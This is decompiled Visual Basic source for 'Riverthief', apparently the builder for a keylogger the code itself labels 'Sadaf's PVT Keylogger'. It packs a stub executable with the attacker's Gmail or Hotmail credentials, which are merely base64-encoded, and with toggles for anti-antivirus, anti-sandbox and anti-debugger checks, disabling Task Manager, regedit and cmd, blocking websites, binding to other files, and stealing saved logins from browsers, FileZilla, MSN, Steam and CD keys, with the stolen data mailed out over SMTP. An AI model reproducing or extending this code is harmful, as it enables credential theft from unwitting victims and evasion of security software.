Riverthief

<DesignerGenerated> _

Public Class Form1

    Inherits Form

    ' Methods

    <DebuggerNonUserCode> _

    Public Sub New()

        AddHandler MyBase.Load, New EventHandler(AddressOf Me.Form1_Load)

        AddHandler MyBase.Closing, New CancelEventHandler(AddressOf Me.Form1_unLoad)

        Dim list As List(Of WeakReference) = Form1.__ENCList

        SyncLock list

            Form1.__ENCList.Add(New WeakReference(Me))

        End SyncLock

        Me.InitializeComponent

    End Sub

 

    Public Sub antis()

        If MyProject.Forms.Form5.CheckBox1.Checked Then

            Me.kaspersky = True

        Else

            Me.kaspersky = False

        End If

        If MyProject.Forms.Form5.CheckBox2.Checked Then

            Me.wirehshark = True

        Else

            Me.wirehshark = False

        End If

        If MyProject.Forms.Form5.CheckBox3.Checked Then

            Me.sandbox = True

        Else

            Me.sandbox = False

        End If

        If MyProject.Forms.Form5.CheckBox4.Checked Then

            Me.anubis = True

        Else

            Me.anubis = False

        End If

        If MyProject.Forms.Form5.CheckBox5.Checked Then

            Me.anubis2 = True

        Else

            Me.anubis2 = False

        End If

        If MyProject.Forms.Form5.CheckBox6.Checked Then

            Me.virtualbox = True

        Else

            Me.virtualbox = False

        End If

        If MyProject.Forms.Form5.CheckBox7.Checked Then

            Me.vmware = True

        Else

            Me.vmware = False

        End If

        If MyProject.Forms.Form5.CheckBox8.Checked Then

            Me.virtualpc = True

        Else

            Me.virtualpc = False

        End If

        If MyProject.Forms.Form5.CheckBox9.Checked Then

            Me.wine = True

        Else

            Me.wine = False

        End If

        If MyProject.Forms.Form5.CheckBox10.Checked Then

            Me.nod32 = True

        Else

            Me.nod32 = False

        End If

        If MyProject.Forms.Form5.CheckBox11.Checked Then

            Me.zonealarm = True

        Else

            Me.zonealarm = False

        End If

        If MyProject.Forms.Form5.CheckBox12.Checked Then

            Me.bitdefender = True

        Else

            Me.bitdefender = False

        End If

        If MyProject.Forms.Form5.CheckBox13.Checked Then

            Me.norman = True

        Else

            Me.norman = False

        End If

        If MyProject.Forms.Form5.CheckBox14.Checked Then

            Me.malwarebytes = True

        Else

            Me.malwarebytes = False

        End If

        If MyProject.Forms.Form5.CheckBox15.Checked Then

            Me.ollydbg = True

        Else

            Me.ollydbg = False

        End If

        If MyProject.Forms.Form5.CheckBox16.Checked Then

            Me.keyscrambler = True

        Else

            Me.keyscrambler = False

        End If

        If MyProject.Forms.Form5.CheckBox17.Checked Then

            Me.hijackthis = True

        Else

            Me.hijackthis = False

        End If

        If MyProject.Forms.Form5.CheckBox18.Checked Then

            Me.outpost = True

        Else

            Me.outpost = False

        End If

    End Sub

 

    Public Sub buildfile()

        Me.ProgressBar1.Minimum = 1

        Me.ProgressBar1.Maximum = 5

        FileSystem.FileOpen(1, (Application.StartupPath & "\Stub.exe"), OpenMode.Binary, OpenAccess.Read, OpenShare.Default, -1)

        Me.ProgressBar1.Value = 1

        Me.stub = Strings.Space(CInt(FileSystem.LOF(1)))

        Me.ProgressBar1.Value = 2

        FileSystem.FileGet(1, (Me.stub), -1, False)

        Me.ProgressBar1.Value = 3

        FileSystem.FileClose(New Integer() { 1 })

        FileSystem.FileOpen(1, (Application.StartupPath & "\" & Me.TextBox10.Text), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default, -1)

        Me.ProgressBar1.Value = 4

        FileSystem.FilePut(1, String.Concat(New String() { Me.stub, "mudassarayazsaroya", Me.TextBox5.Text, "mudassarayazsaroya", Me.TextBox6.Text, "mudassarayazsaroya", Conversions.ToString(Me.gmailradio), "mudassarayazsaroya", Me.TextBox5.Text, "mudassarayazsaroya", Me.TextBox6.Text, "mudassarayazsaroya", Conversions.ToString(Me.hotmailradio), "mudassarayazsaroya", Me.timerbyminutes, "mudassarayazsaroya", Conversions.ToString(Me.kaspersky), "mudassarayazsaroya", Conversions.ToString(Me.wirehshark), "mudassarayazsaroya", Conversions.ToString(Me.sandbox), "mudassarayazsaroya", Conversions.ToString(Me.anubis), "mudassarayazsaroya", Conversions.ToString(Me.anubis2), "mudassarayazsaroya", Conversions.ToString(Me.virtualbox), "mudassarayazsaroya", Conversions.ToString(Me.vmware), "mudassarayazsaroya", Conversions.ToString(Me.virtualpc), "mudassarayazsaroya", Conversions.ToString(Me.wine), "mudassarayazsaroya", Conversions.ToString(Me.nod32), "mudassarayazsaroya", Conversions.ToString(Me.zonealarm), "mudassarayazsaroya", Conversions.ToString(Me.bitdefender), "mudassarayazsaroya", Conversions.ToString(Me.norman), "mudassarayazsaroya", Conversions.ToString(Me.malwarebytes), "mudassarayazsaroya", Conversions.ToString(Me.ollydbg), "mudassarayazsaroya", Conversions.ToString(Me.keyscrambler), "mudassarayazsaroya", Conversions.ToString(Me.hijackthis), "mudassarayazsaroya", Conversions.ToString(Me.outpost), "mudassarayazsaroya", Conversions.ToString(Me.taskmanager), "mudassarayazsaroya", Conversions.ToString(Me.folderoptions), "mudassarayazsaroya", Conversions.ToString(Me.regedit), "mudassarayazsaroya", Conversions.ToString(Me.cmd), "mudassarayazsaroya", Conversions.ToString(Me.run), "mudassarayazsaroya", Conversions.ToString(Me.msconfig), "mudassarayazsaroya", Conversions.ToString(Me.startprocess), "mudassarayazsaroya", Conversions.ToString(Me.startmozilla), "mudassarayazsaroya", Conversions.ToString(Me.startcmd), "mudassarayazsaroya", Conversions.ToString(Me.startinternetexplorer), "mudassarayazsaroya", Conversions.ToString(Me.startscarylaugh), "mudassarayazsaroya", Conversions.ToString(Me.startspam), "mudassarayazsaroya", Conversions.ToString(Me.startpawned), "mudassarayazsaroya", Conversions.ToString(Me.startowned), "mudassarayazsaroya", Conversions.ToString(Me.google), "mudassarayazsaroya", Conversions.ToString(Me.yahoo), "mudassarayazsaroya", Conversions.ToString(Me.hackforums), "mudassarayazsaroya", Conversions.ToString(Me.leetcoders), "mudassarayazsaroya", Conversions.ToString(Me.facebook), "mudassarayazsaroya", Conversions.ToString(Me.myspace), "mudassarayazsaroya", Conversions.ToString(Me.friendster), "mudassarayazsaroya", Conversions.ToString(Me.steam), "mudassarayazsaroya", Conversions.ToString(Me.privatewebcheck), "mudassarayazsaroya", Me.privatewebtext, "mudassarayazsaroya", Conversions.ToString(Me.mozilla), "mudassarayazsaroya", Conversions.ToString(Me.filezilla), "mudassarayazsaroya", Conversions.ToString(Me.internetexplorer), "mudassarayazsaroya", Conversions.ToString(Me.cdkey), "mudassarayazsaroya", Conversions.ToString(Me.msn), "mudassarayazsaroya", Me.facebookfreeze, "mudassarayazsaroya", Conversions.ToString(Me.FBfreezer), "mudassarayazsaroya", Me.TextBox10.Text }), -1, False)

        FileSystem.FileClose(New Integer() { 1 })

        Me.ProgressBar1.Value = 5

    End Sub

 

    Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs)

        Dim file As String = (Application.StartupPath & "\stub.exe")

        MyProject.Computer.FileSystem.WriteAllBytes(file, Resources.stub, False)

        If Me.RadioButton1.Checked Then

            If (Me.TextBox1.Text = "") Then

                Interaction.MsgBox("Please Put Your Gmail User!", MsgBoxStyle.Exclamation, "Gmail User")

                Return

            End If

            If (Me.TextBox2.Text = "") Then

                Interaction.MsgBox("Please Put Your Gmail Password!", MsgBoxStyle.Exclamation, "Gmail Pass")

                Return

            End If

        End If

        If Me.RadioButton2.Checked Then

            If (Me.TextBox8.Text = "") Then

                Interaction.MsgBox("Please Put Your Hotmail User!", MsgBoxStyle.Exclamation, "Hotmail User")

                Return

            End If

            If (Me.TextBox4.Text = "") Then

                Interaction.MsgBox("Please Put Your Hotmail Password!", MsgBoxStyle.Exclamation, "Hotmail Pass")

                Return

            End If

        End If

        If (Me.TextBox3.Text = "") Then

            Interaction.MsgBox("Please Put a Time Interval!", MsgBoxStyle.Exclamation, "Time Interval")

        Else

            Me.stubpumper

            Me.gmailuser = Me.TextBox5.Text

            Me.gmailpass = Me.TextBox6.Text

            Me.hotmailuser = Me.TextBox5.Text

            Me.hotmailpass = Me.TextBox6.Text

            Me.timerbyminutes = Me.TextBox3.Text

            Me.privatewebtext = MyProject.Forms.Form2.TextBox9.Text

            Me.facebookfreeze = MyProject.Forms.Form9.TextBox1.Text

            Me.nameofserver = Me.TextBox10.Text

            If Me.RadioButton1.Checked Then

                Me.gmailradio = True

            Else

                Me.gmailradio = False

            End If

            If Me.RadioButton2.Checked Then

                Me.hotmailradio = True

            Else

                Me.hotmailradio = False

            End If

            If MyProject.Forms.Form2.CheckBox25.Checked Then

                Me.privatewebcheck = True

            Else

                Me.privatewebcheck = False

            End If

            If MyProject.Forms.Form9.CheckBox1.Checked Then

                Me.FBfreezer = True

            Else

                Me.FBfreezer = False

            End If

            If Me.RadioButton1.Checked Then

                Me.TextBox5.Text = Me.GetEncryptedData(Me.TextBox1.Text)

                Me.TextBox6.Text = Me.GetEncryptedData(Me.TextBox2.Text)

            Else

                Me.TextBox5.Text = Me.GetEncryptedData(Me.TextBox8.Text)

                Me.TextBox6.Text = Me.GetEncryptedData(Me.TextBox4.Text)

            End If

            Me.antis

            Me.othersettings

            Me.disableinternet

            Me.stealers

            If Me.CheckBox4.Checked Then

                Me.stubpumper

            End If

            If Not Me.CheckBox8.Checked Then

                MyProject.Forms.Form8.TextBox1.Text = ""

            End If

            If Me.CheckBox8.Checked Then

                If (MyProject.Forms.Form8.TextBox1.Text = "") Then

                    Interaction.MsgBox("Please Select a File to Bind!", MsgBoxStyle.Exclamation, "Select")

                    Return

                End If

                If (MyProject.Forms.Form8.TextBox1.Text = MyProject.Forms.Form8.OFD1.FileName) Then

                    Me.serverbinder

                    If Me.CheckBox6.Checked Then

                        If MyProject.Forms.Form3.CheckBox3.Checked Then

                            Me.netz

                            Me.ProgressBar1.Value = 1

                            Interaction.MsgBox("Successfully Build, Binded, and Packed a Server!", MsgBoxStyle.Information, "Success")

                            Try

                                If File.Exists(file) Then

                                    File.Delete(file)

                                End If

                            Catch exception1 As Exception

                                ProjectData.SetProjectError(exception1)

                                ProjectData.ClearProjectError

                            End Try

                            Return

                        End If

                        Interaction.MsgBox("Successfully Build and Binded a Server!", MsgBoxStyle.Information, "Success")

                    End If

                End If

                Me.ProgressBar1.Value = 1

                Try

                    If File.Exists(file) Then

                        File.Delete(file)

                    End If

                Catch exception2 As Exception

                    ProjectData.SetProjectError(exception2)

                    ProjectData.ClearProjectError

                End Try

            Else

                Me.buildfile

                Me.ProgressBar1.Value = 1

                Interaction.MsgBox("Successfully Build a Server!", MsgBoxStyle.Information, "Success")

                Try

                    If File.Exists(file) Then

                        File.Delete(file)

                    End If

                Catch exception3 As Exception

                    ProjectData.SetProjectError(exception3)

                    ProjectData.ClearProjectError

                End Try

                Return

            End If

            Me.ProgressBar1.Value = 1

            Try

                If File.Exists(file) Then

                    File.Delete(file)

                End If

            Catch exception4 As Exception

                ProjectData.SetProjectError(exception4)

                ProjectData.ClearProjectError

            End Try

            Interaction.MsgBox("Successfully Build a Server!", MsgBoxStyle.Information, "Success")

        End If

    End Sub

 

    Private Sub Button10_Click(ByVal sender As Object, ByVal e As EventArgs)

        MyProject.Forms.Form7.Show

    End Sub

 

    Private Sub Button11_Click(ByVal sender As Object, ByVal e As EventArgs)

        MyProject.Forms.Form8.Show

    End Sub

 

    Private Sub Button12_Click(ByVal sender As Object, ByVal e As EventArgs)

        MyProject.Forms.Form9.Show

    End Sub

 

    Private Sub Button13_Click(ByVal sender As Object, ByVal e As EventArgs)

        Me.Close

    End Sub

 

    Private Sub Button2_Click(ByVal sender As Object, ByVal e As EventArgs)

        If (Me.TextBox1.Text = "") Then

            Interaction.MsgBox("Please put your Email", MsgBoxStyle.Exclamation, "Details")

        ElseIf (Me.TextBox2.Text = "") Then

            Interaction.MsgBox("Please put your Password!", MsgBoxStyle.Exclamation, "Details")

        Else

            Try

                Dim message As New MailMessage

                message.From = New MailAddress(Me.TextBox1.Text)

                message.To.Add(Me.TextBox1.Text)

                message.Subject = "Sadaf's PVT Keylogger"

                message.Body = "CONGRATULATION.....! YOUR MAIL ADDRESS IS WORKING, GREAT!PLEASE PROCEED"

                Dim client As New SmtpClient("smtp.gmail.com")

                client.Port = &H24B

                client.EnableSsl = True

                client.Credentials = New NetworkCredential(Me.TextBox1.Text, Me.TextBox2.Text)

                client.Send(message)

                Interaction.MsgBox("Please Check your Gmail! For the Test Mail", MsgBoxStyle.Information, "Check")

            Catch exception1 As SmtpException

                ProjectData.SetProjectError(exception1)

                Dim exception As SmtpException = exception1

                Interaction.MsgBox(exception.Message, MsgBoxStyle.OkOnly, Nothing)

                ProjectData.ClearProjectError

            Catch exception3 As Exception

                ProjectData.SetProjectError(exception3)

                Dim exception2 As Exception = exception3

                Interaction.MsgBox(exception2.Message, MsgBoxStyle.OkOnly, Nothing)

                ProjectData.ClearProjectError

            End Try

        End If

    End Sub

 

    Private Sub Button3_Click(ByVal sender As Object, ByVal e As EventArgs)

        If (Me.TextBox8.Text = "") Then

            Interaction.MsgBox("Please put your Email", MsgBoxStyle.Exclamation, "Details")

        ElseIf (Me.TextBox4.Text = "") Then

            Interaction.MsgBox("Please put your Password!", MsgBoxStyle.Exclamation, "Details")

        Else

            Try

                Dim message As New MailMessage

                message.From = New MailAddress(Me.TextBox8.Text)

                message.To.Add(Me.TextBox8.Text)

                message.Subject = "Sadaf's PVT Keylogger"

                message.Body = "CONGRATULATION.....! YOUR MAIL ADDRESS IS WORKING, GREAT!PLEASE PROCEED"

                Dim client As New SmtpClient("smtp.live.com")

                client.Port = &H24B

                client.EnableSsl = True

                client.Credentials = New NetworkCredential(Me.TextBox8.Text, Me.TextBox4.Text)

                client.Send(message)

                Interaction.MsgBox("Please Check your Hotmail! For the Test Mail!", MsgBoxStyle.Information, "Check")

            Catch exception1 As SmtpException

                ProjectData.SetProjectError(exception1)

                Dim exception As SmtpException = exception1

                Interaction.MsgBox(exception.Message, MsgBoxStyle.OkOnly, Nothing)

                ProjectData.ClearProjectError

            Catch exception3 As Exception

                ProjectData.SetProjectError(exception3)

                Dim exception2 As Exception = exception3

                Interaction.MsgBox(exception2.Message, MsgBoxStyle.OkOnly, Nothing)

                ProjectData.ClearProjectError

            End Try

        End If

    End Sub

 

    Private Sub Button4_Click(ByVal sender As Object, ByVal e As EventArgs)

        MyProject.Forms.Form5.Show

    End Sub

 

    Private Sub Button5_Click(ByVal sender As Object, ByVal e As EventArgs)

        MyProject.Forms.Form6.Show

    End Sub

 

    Private Sub Button6_Click(ByVal sender As Object, ByVal e As EventArgs)

        MyProject.Forms.Form4.Show

    End Sub

 

    Private Sub Button7_Click(ByVal sender As Object, ByVal e As EventArgs)

        MyProject.Forms.Form3.Show

    End Sub

 

    Private Sub Button8_Click(ByVal sender As Object, ByVal e As EventArgs)

        MyProject.Forms.Form2.Show

    End Sub

 

    Private Sub Button9_Click(ByVal sender As Object, ByVal e As EventArgs)

    End Sub

 

    Private Sub CheckBox2_CheckedChanged_1(ByVal sender As Object, ByVal e As EventArgs)

        If Me.CheckBox2.Checked Then

            Me.Button4.Enabled = True

        Else

            Me.Button4.Enabled = False

        End If

    End Sub

 

    Private Sub CheckBox3_CheckedChanged_1(ByVal sender As Object, ByVal e As EventArgs)

        If Me.CheckBox3.Checked Then

            Me.Button5.Enabled = True

        Else

            Me.Button5.Enabled = False

        End If

    End Sub

 

    Private Sub CheckBox4_CheckedChanged_1(ByVal sender As Object, ByVal e As EventArgs)

        If Me.CheckBox4.Checked Then

            Me.Button6.Enabled = True

        Else

            Me.Button6.Enabled = False

        End If

    End Sub

 

    Private Sub CheckBox5_CheckedChanged_1(ByVal sender As Object, ByVal e As EventArgs)

        If Me.CheckBox5.Checked Then

            Me.Button8.Enabled = True

        Else

            Me.Button8.Enabled = False

        End If

    End Sub

 

    Private Sub CheckBox6_CheckedChanged_1(ByVal sender As Object, ByVal e As EventArgs)

        If Me.CheckBox6.Checked Then

            Me.Button7.Enabled = True

        Else

            Me.Button7.Enabled = False

        End If

    End Sub

 

    Private Sub CheckBox7_CheckedChanged_1(ByVal sender As Object, ByVal e As EventArgs)

        If Me.CheckBox7.Checked Then

            Me.Button12.Enabled = True

        Else

            Me.Button12.Enabled = False

        End If

    End Sub

 

    Private Sub CheckBox8_CheckedChanged_1(ByVal sender As Object, ByVal e As EventArgs)

        If Me.CheckBox8.Checked Then

            Me.Button11.Enabled = True

        Else

            Me.Button11.Enabled = False

        End If

    End Sub

 

    Public Function checkID(ByVal id As String) As Boolean

        ' This item is obfuscated and can not be translated.

        Dim flag As Boolean

        Dim num8 As Integer

        Try

            Dim str2 As String

            Dim str3 As String

            Dim num9 As Integer

        Label_0001:

            ProjectData.ClearProjectError

            Dim num7 As Integer = -2

        Label_000A:

            num9 = 2

            Dim key2 As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows NT\CurrentVersion", False)

        Label_001F:

            num9 = 3

            Dim key As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Cryptography", False)

        Label_0034:

            num9 = 4

            Dim obj3 As Object = Strings.Replace(Conversions.ToString(key2.GetValue("ProductId")), "-", "", 1, -1, CompareMethod.Binary)

        Label_005C:

            num9 = 5

            Dim obj2 As Object = Strings.Replace(Conversions.ToString(key.GetValue("MachineGUID")), "-", "", 1, -1, CompareMethod.Binary)

        Label_0083:

            num9 = 6

            Dim num2 As Integer = Strings.Len(RuntimeHelpers.GetObjectValue(obj3))

        Label_0094:

            num9 = 7

            Dim num As Integer = Strings.Len(RuntimeHelpers.GetObjectValue(obj2))

        Label_00A3:

            num9 = 8

            Dim num5 As Integer = num2

            Dim start As Integer = 1

            goto Label_00EE

        Label_00AF:

            num9 = 9

            Dim str4 As String = Conversion.Hex(CInt(((Strings.Asc(Strings.Mid(Conversions.ToString(obj3), start, 1)) Xor &H17) Xor 14)))

        Label_00D4:

            num9 = 10

            str3 = (str3 & str4)

        Label_00E3:

            num9 = 11

            start += 1

        Label_00EE:

            If (start <= num5) Then

                goto Label_00AF

            End If

        Label_00F8:

            num9 = 12

            str3 = Strings.StrReverse(str3)

        Label_0105:

            num9 = 13

            Dim num6 As Integer = num

            Dim num4 As Integer = 1

            goto Label_014F

        Label_0111:

            num9 = 14

            str4 = Conversion.Hex(CInt(((Strings.Asc(Strings.Mid(Conversions.ToString(obj2), num4, 1)) Xor &H17) Xor 14)))

        Label_0135:

            num9 = 15

            str2 = (str2 & str4)

        Label_0144:

            num9 = &H10

            num4 += 1

        Label_014F:

            If (num4 <= num6) Then

                goto Label_0111

            End If

        Label_0159:

            num9 = &H11

            str2 = Strings.StrReverse(str2)

        Label_0166:

            num9 = &H12

            Dim str As String = Strings.StrReverse((str2 & str3))

        Label_0179:

            num9 = &H13

            If (str <> id) Then

                goto Label_0196

            End If

        Label_018E:

            num9 = 20

            flag = True

            goto Label_026C

        Label_0196:

            num9 = &H16

        Label_019B:

            num9 = &H17

            flag = False

            goto Label_026C

        Label_01AB:

            num8 = 0

            Select Case (num8 + 1)

                Case 1

                    goto Label_0001

                Case 2

                    goto Label_000A

                Case 3

                    goto Label_001F

                Case 4

                    goto Label_0034

                Case 5

                    goto Label_005C

                Case 6

                    goto Label_0083

                Case 7

                    goto Label_0094

                Case 8

                    goto Label_00A3

                Case 9

                    goto Label_00AF

                Case 10

                    goto Label_00D4

                Case 11

                    goto Label_00E3

                Case 12

                    goto Label_00F8

                Case 13

                    goto Label_0105

                Case 14

                    goto Label_0111

                Case 15

                    goto Label_0135

                Case &H10

                    goto Label_0144

                Case &H11

                    goto Label_0159

                Case &H12

                    goto Label_0166

                Case &H13

                    goto Label_0179

                Case 20

                    goto Label_018E

                Case &H15, &H18, &H19

                    goto Label_026C

                Case &H16

                    goto Label_0196

                Case &H17

                    goto Label_019B

                Case Else

                    goto Label_0261

            End Select

        Label_0221:

            num8 = num9

            Select Case IIf((num7 > -2), num7, 1)

                Case 0

                    goto Label_0261

                Case 1

                    goto Label_01AB

            End Select

        Catch obj1 As Object When (?)

            ProjectData.SetProjectError(DirectCast(obj1, Exception))

            goto Label_0221

        End Try

    Label_0261:

        Throw ProjectData.CreateProjectError(-2146828237)

    Label_026C:

        If (num8 <> 0) Then

            ProjectData.ClearProjectError

        End If

        Return flag

    End Function

 

    Public Sub disableinternet()

        If MyProject.Forms.Form2.CheckBox17.Checked Then

            Me.google = True

        Else

            Me.google = False

        End If

        If MyProject.Forms.Form2.CheckBox18.Checked Then

            Me.yahoo = True

        Else

            Me.yahoo = False

        End If

        If MyProject.Forms.Form2.CheckBox19.Checked Then

            Me.hackforums = True

        Else

            Me.hackforums = False

        End If

        If MyProject.Forms.Form2.CheckBox20.Checked Then

            Me.leetcoders = True

        Else

            Me.leetcoders = False

        End If

        If MyProject.Forms.Form2.CheckBox21.Checked Then

            Me.facebook = True

        Else

            Me.facebook = False

        End If

        If MyProject.Forms.Form2.CheckBox22.Checked Then

            Me.myspace = True

        Else

            Me.myspace = False

        End If

        If MyProject.Forms.Form2.CheckBox23.Checked Then

            Me.friendster = True

        Else

            Me.friendster = False

        End If

        If MyProject.Forms.Form2.CheckBox24.Checked Then

            Me.steam = True

        Else

            Me.steam = False

        End If

    End Sub

 

    <DebuggerNonUserCode> _

    Protected Overrides Sub Dispose(ByVal disposing As Boolean)

        Try

            If (IIf((disposing AndAlso (Not Me.components Is Nothing)), 1, 0) <> 0) Then

                Me.components.Dispose

            End If

        Finally

            MyBase.Dispose(disposing)

        End Try

    End Sub

 

    Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs)

        Dim file As String = (Application.StartupPath & "\Dissembler LIB.dll")

        Dim hidden As FileAttributes = FileAttributes.Hidden

        Try

            MyProject.Computer.FileSystem.WriteAllBytes(file, Resources.Dissembler_LIB, False)

            File.SetAttributes(file, hidden)

            Dim str2 As String = "C:\windows\system32\Counter.ico"

            MyProject.Computer.FileSystem.WriteAllBytes(str2, Resources.Counter, False)

            Dim str3 As String = "C:\windows\system32\logo.ico"

            MyProject.Computer.FileSystem.WriteAllBytes(str3, Resources.Counter_Strike_Logo, False)

            Dim str4 As String = "C:\windows\system32\Terror1.ico"

            MyProject.Computer.FileSystem.WriteAllBytes(str4, Resources.terrorist, False)

            Dim str5 As String = "C:\windows\system32\Terror2.ico"

            MyProject.Computer.FileSystem.WriteAllBytes(str5, Resources.Terrorist_2, False)

        Catch exception1 As Exception

            ProjectData.SetProjectError(exception1)

            ProjectData.ClearProjectError

        End Try

        Me.RadioButton1.Checked = True

        Me.GroupBox2.Enabled = False

        Me.Button4.Enabled = False

        Me.Button5.Enabled = False

        Me.Button6.Enabled = False

        Me.Button7.Enabled = False

        Me.Button8.Enabled = False

        Me.Button11.Enabled = False

        Me.Button12.Enabled = False

    End Sub

 

    Private Sub Form1_unLoad(ByVal sender As Object, ByVal e As EventArgs)

        Dim path As String = (Application.StartupPath & "\macfinder.ico")

        Dim str As String = (Application.StartupPath & "\defcomp.dll")

        Dim str4 As String = (Application.StartupPath & "\net20comp.dll")

        Dim str5 As String = (Application.StartupPath & "\netz.exe")

        Dim str6 As String = (Application.StartupPath & "\subsys.dll")

        Dim str7 As String = (Application.StartupPath & "\zip.dll")

        Dim str8 As String = (Application.StartupPath & "\Dissembler LIB.dll")

        Dim str9 As String = "C:\windows\system32\Counter.ico"

        Dim str3 As String = "C:\windows\system32\logo.ico"

        Dim str10 As String = "C:\windows\system32\Terror1.ico"

        Dim str11 As String = "C:\windows\system32\Terror2.ico"

        Try

            If File.Exists(str11) Then

                File.Delete(str11)

            End If

            If File.Exists(str10) Then

                File.Delete(str10)

            End If

            If File.Exists(str3) Then

                File.Delete(str3)

            End If

            If File.Exists(str9) Then

                File.Delete(str9)

            End If

            If File.Exists(str8) Then

                File.Delete(str8)

            End If

            If File.Exists(path) Then

                File.Delete(path)

            End If

            If File.Exists(str) Then

                File.Delete(str)

            End If

            If File.Exists(str4) Then

                File.Delete(str4)

            End If

            If File.Exists(str5) Then

                File.Delete(str5)

            End If

            If File.Exists(str6) Then

                File.Delete(str6)

            End If

            If File.Exists(str7) Then

                File.Delete(str7)

            End If

        Catch exception1 As Exception

            ProjectData.SetProjectError(exception1)

            ProjectData.ClearProjectError

        End Try

    End Sub

 

    Public Function GetDecryptedData(ByVal Data As String) As String

        Dim bytes As Byte() = Convert.FromBase64String(Data)

        Return Encoding.ASCII.GetString(bytes)

    End Function

 

    Public Function GetEncryptedData(ByVal Data As String) As String

        Dim managed As New SHA1Managed

        Convert.ToBase64String(managed.ComputeHash(Encoding.ASCII.GetBytes(Data)))

        Return Convert.ToBase64String(Encoding.ASCII.GetBytes(Data))

    End Function

 

    <DebuggerStepThrough> _

    Private Sub InitializeComponent()

        Dim manager As New ComponentResourceManager(GetType(Form1))

        Me.GroupBox1 = New GroupBox

        Me.Label4 = New Label

        Me.Label2 = New Label

        Me.Label1 = New Label

        Me.TextBox2 = New TextBox

        Me.TextBox1 = New TextBox

        Me.Button2 = New Button

        Me.GroupBox2 = New GroupBox

        Me.Label7 = New Label

        Me.FlowLayoutPanel1 = New FlowLayoutPanel

        Me.Label8 = New Label

        Me.Label9 = New Label

        Me.TextBox4 = New TextBox

        Me.TextBox8 = New TextBox

        Me.Button3 = New Button

        Me.RadioButton2 = New RadioButton

        Me.RadioButton1 = New RadioButton

        Me.Label5 = New Label

        Me.Label6 = New Label

        Me.TextBox3 = New TextBox

        Me.Button1 = New Button

        Me.Button5 = New Button

        Me.Button6 = New Button

        Me.Button7 = New Button

        Me.Button8 = New Button

        Me.Button10 = New Button

        Me.Button11 = New Button

        Me.Button4 = New Button

        Me.ProgressBar1 = New ProgressBar

        Me.Button12 = New Button

        Me.TextBox5 = New TextBox

        Me.TextBox6 = New TextBox

        Me.GroupBox4 = New GroupBox

        Me.CheckBox7 = New CheckBox

        Me.WebBrowser1 = New WebBrowser

        Me.CheckBox6 = New CheckBox

        Me.CheckBox5 = New CheckBox

        Me.CheckBox4 = New CheckBox

        Me.CheckBox3 = New CheckBox

        Me.CheckBox2 = New CheckBox

        Me.CheckBox8 = New CheckBox

        Me.Button9 = New Button

        Me.TextBox7 = New TextBox

        Me.SFD1 = New SaveFileDialog

        Me.TextBox9 = New TextBox

        Me.TextBox10 = New TextBox

        Me.Label3 = New Label

        Me.Button13 = New Button

        Me.GroupBox1.SuspendLayout

        Me.GroupBox2.SuspendLayout

        Me.GroupBox4.SuspendLayout

        Me.SuspendLayout

        Me.GroupBox1.BackColor = Color.Transparent

        Me.GroupBox1.Controls.Add(Me.Label4)

        Me.GroupBox1.Controls.Add(Me.Label2)

        Me.GroupBox1.Controls.Add(Me.Label1)

        Me.GroupBox1.Controls.Add(Me.TextBox2)

        Me.GroupBox1.Controls.Add(Me.TextBox1)

        Me.GroupBox1.Controls.Add(Me.Button2)

        Me.GroupBox1.Font = New Font("Microsoft Sans Serif", 8.25!, FontStyle.Regular, GraphicsUnit.Point, 0)

        Me.GroupBox1.ForeColor = Color.White

        Dim point As New Point(&H25, &HA2)

        Me.GroupBox1.Location = point

        Me.GroupBox1.Name = "GroupBox1"

        Dim size As New Size(&H116, &H67)

        Me.GroupBox1.Size = size

        Me.GroupBox1.TabIndex = &H23

        Me.GroupBox1.TabStop = False

        Me.GroupBox1.Text = "Gmail"

        Me.Label4.AutoSize = True

        Me.Label4.BackColor = Color.Transparent

        Me.Label4.Font = New Font("Microsoft Sans Serif", 9.75!, FontStyle.Regular, GraphicsUnit.Point, 0)

        Me.Label4.ForeColor = Color.Yellow

        point = New Point(&H171, 70)

        Me.Label4.Location = point

        Me.Label4.Name = "Label4"

        size = New Size(100, &H10)

        Me.Label4.Size = size

        Me.Label4.TabIndex = 11

        Me.Label4.Text = "www.gmail.com"

        Me.Label2.AutoSize = True

        Me.Label2.BackColor = Color.Transparent

        Me.Label2.Font = New Font("Microsoft Sans Serif", 8.25!, FontStyle.Bold, GraphicsUnit.Point, 0)

        Me.Label2.ForeColor = Color.Yellow

        point = New Point(8, &H29)

        Me.Label2.Location = point

        Me.Label2.Name = "Label2"

        size = New Size(100, 13)

        Me.Label2.Size = size

        Me.Label2.TabIndex = 8

        Me.Label2.Text = "Gmail Password:"

        Me.Label1.AutoSize = True

        Me.Label1.BackColor = Color.Transparent

        Me.Label1.Font = New Font("Microsoft Sans Serif", 8.25!, FontStyle.Bold, GraphicsUnit.Point, 0)

        Me.Label1.ForeColor = Color.Yellow

        point = New Point(6, &H10)

        Me.Label1.Location = point

        Me.Label1.Name = "Label1"

        size = New Size(&H66, 13)

        Me.Label1.Size = size

        Me.Label1.TabIndex = 7

        Me.Label1.Text = "Gmail Username:"

        Me.TextBox2.BorderStyle = BorderStyle.FixedSingle

        Me.TextBox2.ForeColor = Color.Black

        point = New Point(&H72, &H27)

        Me.TextBox2.Location = point

        Me.TextBox2.Name = "TextBox2"

        Me.TextBox2.PasswordChar = "*"c

        size = New Size(&H9A, 20)

        Me.TextBox2.Size = size

        Me.TextBox2.TabIndex = 6

        Me.TextBox1.BorderStyle = BorderStyle.FixedSingle

        Me.TextBox1.ForeColor = Color.Black

        point = New Point(&H72, 14)

        Me.TextBox1.Location = point

        Me.TextBox1.Name = "TextBox1"

        size = New Size(&H9A, 20)

        Me.TextBox1.Size = size

        Me.TextBox1.TabIndex = 5

        Me.Button2.BackColor = Color.Transparent

        Me.Button2.FlatStyle = FlatStyle.Flat

        Me.Button2.Font = New Font("Microsoft Sans Serif", 8.25!, FontStyle.Bold, GraphicsUnit.Point, 0)

        Me.Button2.ForeColor = Color.Yellow

        point = New Point(&HB9, &H41)

        Me.Button2.Location = point

        Me.Button2.Name = "Button2"

        size = New Size(&H4F, 30)

        Me.Button2.Size = size

        Me.Button2.TabIndex = 0

        Me.Button2.Text = "Test Gmail"

        Me.Button2.UseVisualStyleBackColor = False

        Me.GroupBox2.BackColor = Color.Transparent

